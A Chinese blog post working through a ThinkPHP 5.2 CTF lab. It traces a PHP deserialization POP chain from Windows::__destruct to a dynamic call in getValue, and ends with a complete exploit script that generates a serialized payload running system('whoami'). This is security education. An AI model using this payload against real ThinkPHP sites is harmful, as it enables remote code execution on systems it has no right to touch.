在前两篇文章中,我们铺垫了 php 反序列化漏洞的基础知识,包含各类魔术方法,简单 POP 链,还有 phar 伪协议的反序列化利用。那么这篇文章中我们将从一道基于 Thinkphp 5.2 的 CTF 题目入手,分析在真实环境中的 POP 利用链以及利用手段。
环境搭建
先下载题目文件:SuperDemon921/ThinkPHP5.2-unserialize: 基于 Thinkphp 5.2 的反序列化漏洞
随后编辑本地 nginx 配置文件,添加一个虚拟主机:
server {
listen 80;
server_name tp52.com www.tp52.com;
root "D:/phpstudy_pro/WWW/tp52/public";
location / {
index index.php index.html;
if (!-e $request_filename) {
rewrite ^(.*)$ /index.php?s=$1 last;
}
error_page 400 /error/400.html;
error_page 403 /error/403.html;
error_page 404 /error/404.html;
error_page 500 /error/500.html;
error_page 501 /error/501.html;
error_page 502 /error/502.html;
error_page 503 /error/503.html;
error_page 504 /error/504.html;
error_page 505 /error/505.html;
error_page 506 /error/506.html;
error_page 507 /error/507.html;
error_page 509 /error/509.html;
error_page 510 /error/510.html;
autoindex off;
}
location ~ \.php(.*)$ {
fastcgi_pass 127.0.0.1:9002;
fastcgi_index index.php;
fastcgi_split_path_info ^((?U).+\.php)(/?.+)$;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_path_info;
include fastcgi_params;
}
}
记得重启 nginx
随后修改本地 hosts 文件,添加如下条目:
127.0.0.1 www.tp52.com
127.0.0.1 tp52.com
在浏览器访问 http://tp52.com,出现一个白屏,环境配置完成

因为我们主要分析 Thinkphp 5.2 的 POP 链条,题目并不重要,所以题目的首页我们替换了,为了方便一会直接测试
<?php
namespace app\controller;
class Index
{
public function index($input='')
{
echo $input;
unserialize($input);
}
}
前置知识
trait与class的区别
首先要知道trait这个概念,它与常见的 class 有什么区别?
class(类) 是一个完整的蓝图,可以实例化成对象。类之间通过 extends 实现继承,但 PHP 是单继承的, 一个类只能继承一个父类。
trait 不是类,不能实例化,不能被继承。它是一种代码复用机制,本质上就是一段"可以被粘贴到类里面"的代码片段。一个类可以 use 多个 trait,相当于把 trait 里的属性和方法"复制粘贴"进自己体内。
用一句话概括:trait 解决的是 PHP 单继承限制下的横向代码复用问题。
例如这段代码,一会儿会分析到:
abstract class Model implements JsonSerializable, ArrayAccess
{
use model\concern\Attribute; // trait:提供 $data, $withAttr, getAttr(), getValue()
use model\concern\RelationShip; // trait:提供 $relation
use model\concern\ModelEvent; // trait:提供事件相关
use model\concern\TimeStamp; // trait:提供时间戳相关
use model\concern\Conversion; // trait:提供 $visible, toArray(), __toString()
}在 Model 这个类中,同时拥有了 5 个 trait 的全部能力。如果没有 trait,这些功能要么全部写在 Model 类里(臃肿),要么靠多层继承(PHP 不支持多继承)。
use 之后的效果就好像把 trait 里的代码直接"粘贴"进了 Model 类。所以 Model 的对象可以直接调用这些trait中的所有属性和方法,就好像这些属性和方法本来就写在 Model 里一样。
POP链分析
Windows::__destruct
在 vendor\topthink\framework\src\think\process\pipes\Windows.php 中存在__destruct 方法,这将是我们的反序列化入口。
当 Windows 类销毁时,便自动调用 removeFiles,并进入 if 判断,使用 file_exits 来判断 $this->files 是否存在,而这个 $files 我们可控。
所以file_exists() 期望接收字符串参数,当 $filename 是一个对象时,PHP 自动调用该对象的 __toString() 将其转为字符串。那我们就要找一个 __toString 方法
// 属性定义
private $files = []; // ← 反序列化时可控
public function __destruct() {
$this->close();
$this->removeFiles(); // ← 进入
}
private function removeFiles() {
foreach ($this->files as $filename) {
if (file_exists($filename)) { // ← 触发点
@unlink($filename);
}
}
}__toString() → toJson() → toArray()
来到 think\model\concern\Conversion ,这是一个 trait ,意味着他会被别的类 use (Model类) 。
在这个 trait 中,存在我们要的 __toString 方法,里面又调用 toJson ,toJson中又调用 toArray
public function __toString() {
return $this->toJson();
}
......
public function toJson(...): string {
return json_encode($this->toArray(), $options);
}
这里先不往下跟进 toArray。
值得一提的是,trait 本身不能被实例化,所以单独看 Conversion 这个 trait,它的 __toString() 永远不会被"直接"触发。那么该如何触发?
必须通过一个 use 了这个 trait 的具体类的对象来触发,而 think\Model.php 就是

但 Model 是 abstract,不能实例化。
abstract 意味着这个类只是一个"设计规范",不能直接 new Model()。PHP 会报错:
Fatal error: Cannot instantiate abstract class think\Model所以必须找一个继承 Model 的具体子类。在 ThinkPHP 5.2 框架源码里,think\model\Pivot.php就是那个具体子类。

三者之间的层级关系如下:
trait Conversion {
public function __toString() { ... } // 定义了 __toString
}
abstract class Model {
use Conversion; // Model "粘贴"了 Conversion 的代码
// 现在 Model 拥有了 __toString(),但 Model 是 abstract,不能实例化
}
class Pivot extends Model {
// Pivot 继承 Model → 间接拥有了 __toString()
// Pivot 是具体类 → 可以实例化!
}所以当 Windows类中的 file_exists() 接收到一个 Pivot 对象 时,PHP 调用的是 Pivot 对象上的 __toString(),而这个方法的代码实际来自 Conversion trait。Pivot 本身没有写 __toString(),Model 也没有写,但因为 Model use 了 Conversion,Pivot 继承了 Model,所以 Pivot 对象"拥有"了这个方法。
所以说,在入口的 __destruct 中,就要构造$files = [Pivot 对象],从而让 Pivot 对象被传入file_exists(),最终触发到 trait Conversion 中的 __toString
toArray() →getAttr()
依旧是在刚才的 trait Conversion 中的 toArray方法,是由 __toString 一路调用过来的。
在 toArray() 中,我们的目标是走到 getAttr 方法中,先解释一下为什么

因为 getAttr 内部会调用 getValue,而 getValue 里有一行 $closure($value, $this->data) , 这是一个动态函数调用,当 $closure 和 $value 都可控时就能执行任意函数。
toArray() 的 foreach 三个分支中,只有后两个分支会调用 getAttr。第一个分支($val instanceof Model)会走向递归 toArray(),对我们没用。所以必须让 $val 是普通字符串来跳过第一个分支,同时让条件满足来走进调用 getAttr 的分支。
那么我们来分析一下这个 toArray() 方法,首先我们要知道,抽象 Model 类中use了非常多 trait ,其中包含这些:

而 class Pivot 又继承 Model 。也就是说,对于 Pivot 来说,这些 trait 中的属性,方法都是可以直接调用的

所以我们可以自行对以下变量赋值:
Attribute trait (private)
$data = ["paper" => "whoami"]
$withAttr = ["paper" => "system"]
$strict = trueConversion trait (protected) / RelationShip trait (private)
$visible = []
$hidden = []
$relation = []进入 toArray 方法,初始化。$item 是最终输出数组。$hasVisible 标记"是否显示指定字段",初始为 false。
$hasVisible = false

进入第一个 foreach ,遍历 $this->visible 数组,因为我们构造时设 $visible = [](空数组),循环体一次也不执行。$hasVisible 始终保持 false。这很关键!后面会用到。
$this->visible = []
$hasVisible = false (没变)

同理,第二个 foreach 遍历 $this->hidden,依旧是空数组(我们提前定义好的),跳过

来到合并关联数据,$data 是一个局部变量(注意没有 $this->),它由两个对象属性合并而来。$this->data 定义在 Attribute trait 中,$this->relation 定义在 RelationShip trait 中。因为 Pivot 对象 use 了这两个 trait,所以 $this 上同时拥有这两个属性。relation 为空数组,合并后 $data 就等于 $this->data。
$this->data = ["paper"=>"whoami"]
$this->relation = []
$data (局部) = ["paper"=>"whoami"]

随后 foreach 开始遍历 $data。foreach 每次迭代会把当前元素的键名赋给 $key、键值赋给 $val。$data 只有一个元素 "paper"=>"whoami",所以只循环一次。
$key = "paper"
$val = "whoami"

进入第一个if 分支:检查 $val 是否是 Model 或 ModelCollection 的实例。$val 是字符串 "whoami",不是任何对象 → 条件为 false,跳过。如果 $val 是一个 Model 对象就会递归调用 toArray(),这不是我们想要的路径。这就是为什么 $this->data 的值必须是普通字符串而不能是 Model 对象。
$val = "whoami"
instanceof Model? = false

再往下进入第二个 elseif 分支,检查 $key 是否在 $visible 数组中。$this->visible 被我们构造为空数组 [],所以 isset($this->visible["paper"]) 一定是 false → 跳过。这个分支本身也能触发 getAttr,但我们不走这条路。
$key = "paper"
$this->visible["paper"] = 不存在

进入第三个分支:两个条件都要满足。
(1) $key 不在 $hidden 数组中 — $hidden 是我们人为定义的空数组,所以一定不在,true。
(2) $hasVisible 为 false — 因为第二步中 $visible 是空数组,循环没执行,$hasVisible 没被设为 true,所以 !false = true。两个 true 取 && → 进入此分支!
!isset(hidden["paper"]) = true!
$hasVisible = true
条件 = true && true = true

终于进入第三个分支,调用 $this->getAttr($key),也就是 getAttr("paper")。$key 这个变量从 foreach 循环开始,一路传到这里,成为 getAttr 的参数 $name。getAttr 定义在 Attribute trait 中,是整条 POP 链的下一个关键环节。
$key → $name = "paper"
调用目标 = Attribute::getAttr("paper")

getAttr() → getData() →getValue() → RCE
由上面的 toArray 方法调用到 trait Attribute 中的getAttr(),并传入"paper" 作为 $name 的参数
进入 getAttr 方法。这个方法的任务是:先用 getData 取出 $name 对应的原始值,再用 getValue 对值做进一步处理。
$name = "paper"
$this->data = ["paper" => "whoami"]
$this->withAttr = ["paper" => "system"]
$this->strict = true
$this->type = []
$this->relation = []

try 块内:先设 $relation = false(假设不是关联属性)。然后调用 $this->getData($name),把 $name = "paper" 传进去,返回值赋给 $value。如果 getData 抛出异常,就 catch 把 $relation 改为 true、$value 改为 null。现在进入 getData 看看。

进入 getData 方法。形参 $name 接收到 getAttr 传来的 "paper"。第一个 if 检查 $name 是否为 null — 不是 null,跳过。接下来调用 getRealFieldName。

getRealFieldName 的作用是:如果 strict 模式开启(默认 true),就原样返回字段名;否则转为蛇形命名。$this->strict 是 Attribute trait 中定义的属性,默认值就是 true。所以直接返回 $name = "paper",不做任何转换。
$name="paper"
$this->strict=true
返回值="paper"

getRealFieldName 返回了 "paper",赋给局部变量 $fieldName。然后检查 $this->data 数组中是否存在键名 "paper"
$this->data = ["paper" => "whoami"],当然存在!所以直接 return $this->data["paper"],也就是返回字符串 "whoami"。这个返回值会回到 getAttr 中,赋给 $value。
$fieldName="paper"
$this->data["paper"]="whoami"
返回值="whoami"

getData 成功返回了 "whoami",没有抛出异常。所以 $value = "whoami",$relation 保持 false。如果 getData 找不到 "paper" 这个键(比如 $data 里没有这个键名),就会 throw InvalidArgumentException,被 catch 捕获后 $relation = true、$value = null。但我们构造的 $data 里有 "paper" 键,所以不会走 catch。接下来调用 getValue。
$name="paper" $value="whoami" $relation=false

进入 getValue!三个形参分别接收:$name = "paper"(从 getAttr 原样传入),$value = "whoami"(getData 的返回值),$relation = false。这是整条链的最关键方法,漏洞触发点就在这里面。
$name="paper" ← getAttr.
$name$value="whoami" ← getData 返回值
$relation=false ← getAttr.$relation

第一行:又调了一次 getRealFieldName($name),和 getData 里那次一样。strict=true → 原样返回 "paper",赋给局部变量 $fieldName。这个 $fieldName 马上要被用来查 $this->withAttr 数组。
$name="paper" $fieldName="paper" ← getRealFieldName 返回

第二行:拼接一个方法名 $method = "getPaperAttr"。这是 ThinkPHP 的"获取器"机制
如果模型类里定义了 getPaperAttr 方法,就用它来处理值。但 Pivot 类里没有定义这个方法,所以后面 method_exists 检查会返回 false。不过没关系,代码会先检查 $this->withAttr,我们的利用点在那里。
$method="getPaperAttr" Pivot 中存在?=不存在

关键分支!检查 $this->withAttr 中是否存在键名为 $fieldName 的元素。
$this->withAttr = ["paper" => "system"],$fieldName = "paper" → isset 返回 true,进入分支。
$this->withAttr 是 Attribute trait 的 private 属性,正常由 withAttribute() 方法设置闭包,但反序列化时直接可控。
$this->withAttr=["paper"=>"system"] $fieldName="paper" isset?=true

先跳过 $relation 判断(false 不进入)。然后从 $this->withAttr[$fieldName] 取出值赋给 $closure。$this->withAttr["paper"] = "system" → $closure = "system"。
正常情况下这里应该是一个闭包(Closure 对象),但我们构造成了字符串 "system"。PHP 中字符串也是合法的 callable , 只要字符串是一个已定义函数的名称。
$closure="system" ← withAttr["paper"] $relation=false → 跳过

最终触发点!$closure($value, $this->data) 这行代码做了动态函数调用。$closure 是字符串 "system",PHP 把它当作函数名调用。第一个参数 $value = "whoami" 是要执行的命令,第二个参数 $this->data 是整个 data 数组。
system() 函数的第二个参数本应是&$return_var(用于接收返回码),传入数组虽然类型不匹配但不影响命令执行。
$closure="system"
$value (第 1 参数)="whoami"
$this->data (第 2 参数)=["paper"=>"whoami"]

至此,POP链分析完毕
POP链总结
下面我让 Claude Opus 4.6 总结了整个POP链,非常详尽,以长图形式给大家展现:

为什么用Pivot承载所有trait
// Conversion trait → 提供 __toString, toArray
// Attribute trait → 提供 $data, $withAttr, getAttr, getData, getValue
// RelationShip trait → 提供 $relation
abstract class Model {
use Attribute; // $data, $withAttr, $strict, getAttr(), getValue()
use RelationShip; // $relation
use Conversion; // $visible, $hidden, __toString(), toArray()
use ModelEvent;
use TimeStamp;
public function __construct(array $data = []) {
$this->data = $data; // 构造时赋值 $data
}
}
class Pivot extends Model { // 具体子类,可实例化
public function __construct(array $data = [], ...) {
parent::__construct($data); // 调用 Model 构造
}
}trait 不能实例化 → abstract class Model 组装 trait 但也不能实例化 → Pivot 是 Model 的具体子类 → 反序列化还原的就是 Pivot 对象。Pivot 对象的 $this 上同时拥有所有 trait 的属性。
巧妙之处一:"paper"串联两个数组的桥梁key
在$this->data中,paper存的是命令参数:
["paper" => "whoami"]在 $this->withAttr 中存的是函数名:
["paper" => "system"]"paper"这个key的旅程如下:
toArray: foreach → $key = "paper"
↓ 传入 getAttr
getAttr: $name = "paper"
↓ 传入 getData
getData: $fieldName = getRealFieldName("paper") = "paper"
→ $this->data["paper"] → 取出 "whoami" (命令参数)
↓ 返回后传入 getValue
getValue: $fieldName = getRealFieldName("paper") = "paper"
→ $this->withAttr["paper"] → 取出 "system" (函数名)
→ "system"("whoami") 同一个 key "paper" 在执行流中被使用了两次:先用来从 $data 取出命令参数,再用来从 $withAttr 取出函数名。两次取值在不同方法中发生(getData 和 getValue),但使用的 key 是同一个变量一路传递下来的。key 的名字可以是任何字符串,唯一要求是 data 和 withAttr 中的键名必须一致。
巧妙之处二:file_exists() 作为__toString 的触发器
这个选择非常讲究。PHP 里能触发 __toString() 的函数有很多(echo、print、字符串拼接等),但在析构函数里自然存在的、接收对象后会隐式转字符串的函数其实不多。file_exists() 恰好满足两个条件:它在 removeFiles() 中自然存在(这不是攻击者插入的代码,而是原始业务逻辑),并且它接收参数后会触发 __toString。
更巧的是,file_exists() 触发 __toString 后,即使转换出来的字符串不是合法路径,它只是返回 false,不会抛出致命异常终止程序。如果换成其他函数(比如 fopen),转换失败可能导致整条链中断。
巧妙之处三:$closure($value, $this->data) 中字符串被当作函数调用
这是整条链最核心的漏洞根因。getValue() 中这一行:
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);开发者的原始意图是 $closure 应该是一个 Closure(闭包对象),通过 withAttribute() 方法传入。但代码没有做类型检查,没有 if ($closure instanceof Closure) 或 is_callable() 的验证。PHP 的动态类型特性让字符串 "system" 也能作为 callable 被调用。
对比一下正常用法和攻击用法:
// 开发者期望的用法(正常业务)
$model->withAttribute('name', function($value) {
return strtoupper($value); // 闭包,安全的
});
// 攻击者的利用(反序列化注入)
$this->withAttr = ["paper" => "system"]; // 字符串,PHP 也能调用如果这里加了一行 if (!($closure instanceof \Closure)) return;,整条链就彻底断了。
巧妙之处四:__destruct中 close() 在 removeFiles() 之前但不会阻断链
看 __destruct 的代码:
public function __destruct()
{
$this->close(); // 先执行这个
$this->removeFiles(); // 再执行这个
}close() 会调用 parent::close() 关闭 $this->pipes,然后遍历 $this->fileHandles 调用 fclose()。反序列化时 $this->pipes 默认是空数组,$this->fileHandles 也是空数组 — 所以 close() 内部的 foreach 循环体根本不执行,没有任何副作用,静默通过。
这是一个容易被忽略的"隐形门槛"。如果 close() 中有任何一步抛出异常或触发 exit,removeFiles() 就永远执行不到,整条链就废了。攻击者不需要特意构造什么来绕过 close() ,反序列化还原出来的默认属性值恰好让 close() 什么都不做。这种"默认值恰好无害"的巧合,是 POP 链能成功的一个隐性前提。
EXP
<?php
// =====================================================================
// 第一步:定义 Windows 类 —— 整条链的入口
// =====================================================================
// 反序列化时 PHP 自动调用 __destruct()
// __destruct() → removeFiles() → file_exists($filename)
// 当 $filename 是对象时,file_exists 会触发该对象的 __toString()
//
// 所以我们把 $files 数组里塞一个 Pivot 对象,
// 就能在析构时触发 Pivot 的 __toString()
// =====================================================================
namespace think\process\pipes {
class Windows{
private $files = []; // 反序列化时直接还原,完全可控
function __construct($files)
{
$this->files = $files; // 传入 [Pivot对象]
}
}
}
// =====================================================================
// 第二步:定义三个 trait —— 声明需要控制的属性
// =====================================================================
// trait 不能实例化,这里只是为了让 PHP 序列化时
// 能正确生成带有这些 private/protected 属性的序列化字符串
//
// 这三个 trait 最终都会被 Model 类 use,
// 反序列化后它们的属性都挂在同一个 Pivot 对象的 $this 上
// =====================================================================
namespace think\model\concern {
// Conversion trait:提供 __toString() → toJson() → toArray()
// $visible 控制 toArray() 中的分支走向
// 设为空数组 → $hasVisible=false → 所有 key 都走进 getAttr()
trait Conversion{
protected $visible;
}
// RelationShip trait:提供 $relation
// toArray() 中会 array_merge($this->data, $this->relation)
// 设为空数组,避免引入多余的 key 干扰遍历
trait RelationShip{
private $relation;
}
// Attribute trait:提供 getAttr()、getData()、getValue() 方法
// 以及两个关键属性:
// $data —— 键值作为命令参数("whoami")
// $withAttr —— 键值作为函数名("system")
// 两个数组用同一个 key("paper")串联
trait Attribute{
private $withAttr; // ["paper" => "system"] → 取出函数名
private $data; // ["paper" => "whoami"] → 取出命令参数
}
}
// =====================================================================
// 第三步:定义 Model 抽象类 —— 组装三个 trait
// =====================================================================
// Model use 了上面三个 trait,所以拥有了:
// - $data, $withAttr(来自 Attribute)
// - $relation(来自 RelationShip)
// - $visible, __toString(), toArray()(来自 Conversion)
//
// Model 是 abstract 的,不能直接实例化,
// 所以需要通过子类 Pivot 来承载序列化数据
// =====================================================================
namespace think {
abstract class Model{
use model\concern\RelationShip;
use model\concern\Conversion;
use model\concern\Attribute;
function __construct($closure)
{
// $data: key 是桥梁("paper"),value 是要执行的命令
$this->data = $closure;
// 以下三个属性设为空数组,确保 toArray() 中:
// 1. array_merge 不引入额外 key
// 2. $hasVisible = false,让所有 key 都走进 getAttr
$this->relation = [];
$this->visible = [];
// $withAttr: 同一个桥梁 key("paper"),value 是要调用的函数名
// getValue() 中会执行:$this->withAttr["paper"]("whoami", $this->data)
// 即:system("whoami")
$this->withAttr = array("paper" => 'system');
}
}
}
// =====================================================================
// 第四步:定义 Pivot 类 —— Model 的具体子类,可以被序列化
// =====================================================================
// Pivot 是 ThinkPHP 框架中 Model 的内置子类
// 它的构造函数调用 parent::__construct(),把数据传给 Model
// =====================================================================
namespace think\model {
class Pivot extends \think\Model{
function __construct($closure)
{
parent::__construct($closure);
}
}
}
// =====================================================================
// 第五步:生成 payload
// =====================================================================
namespace{
// 构造 Pivot 对象
// data["paper"] = "whoami" → 最终作为 system() 的第一个参数
// withAttr["paper"] = "system" → 在 Model 构造函数中设置
//
// "paper" 这个 key 名字可以换成任意字符串,
// 唯一要求是 $data 和 $withAttr 中的键名必须一致,
// 因为 getValue() 中用同一个 $fieldName 同时索引这两个数组
$pivot = new think\model\Pivot(['paper' => 'whoami']);
// 构造 Windows 对象,把 Pivot 塞进 $files 数组
// 反序列化时:__destruct → removeFiles → file_exists(Pivot) → __toString
$windows = new think\process\pipes\Windows([$pivot]);
// 序列化 + URL 编码,输出 payload
echo urlencode(serialize($windows));
}
我们在本地生成payload,随后通过 get 传入,可以看到成功了

总结
这是我第一次完整地、逐行地跟完一条框架级别的 POP 链,分析时断断续续地,总共花了我3天时间。说实话,之前看反序列化的文章,总觉得"链"这个字很抽象 — 知道大概是一个方法跳到另一个方法,但具体怎么跳的、参数怎么传的、为什么偏偏选这个类不选那个类,心里一直是模糊的。
这次把 ThinkPHP 5.2 的源码一个文件一个文件地翻开,从 Windows::__destruct() 出发,一路追到 Attribute::getValue() 里那行 $closure($value, $this->data),才真正体会到所谓"链"的含义:它不是攻击者凭空写的代码,而是框架自己的业务逻辑,只不过每一环恰好都能被攻击者控制输入,串起来就变成了一条通往 RCE 的路。
整个过程中让我印象最深的有几点。一是 PHP 语言层面的灵活, 字符串可以当函数调用、file_exists 接收对象不报错而是静默触发类型转换,这些特性单独看都合理,组合起来就成了漏洞的温床。二是 trait 这个机制,分析链的时候不得不在 Conversion、Attribute、RelationShip 三个 trait 之间反复横跳,搞清楚哪个属性定义在哪个 trait 里、它们怎么通过 Model 的 use 汇聚到同一个 $this 上,这个过程本身就是对 PHP 面向对象机制的一次深度复习。三是构造 EXP 时,有种"对暗号"的感觉 ,$data 和 $withAttr 必须用同一个 key,才能让 getValue() 里同一个 $fieldName 同时取到函数名和参数,这种设计既简洁又精妙。
回头看,POP 链的审计本质上就是在做两件事:找到一个起点(可控的反序列化入口 + 有 __destruct 或 __wakeup 的类),然后从起点出发,沿着方法调用一步步往下走,在每个分岔路口判断"哪条路的参数是可控的、哪条路会走进死胡同"。这个过程需要耐心,也需要对框架代码结构的熟悉。没有捷径,就是一行一行读源码。
这条链虽然是 ThinkPHP 5.2 特有的,但分析它的方法论是通用的 ,怎么说呢,收获颇丰,后续我还会再分析类似框架的POP链,但应该不会如此吃力了,也不会再写得这么详细了。(哈哈其实我也知道,根本就没人看我的文章)

版权声明:本文采用 CC BY-NC-SA 4.0 协议授权,转载请注明出处并保留原始链接。
原文链接:https://www.jerrygao.cn//blog/thinkphp52E58F8DE5BA8FE58897E58C96popE993BEE58886E69E90
评论 1
我爱你喵
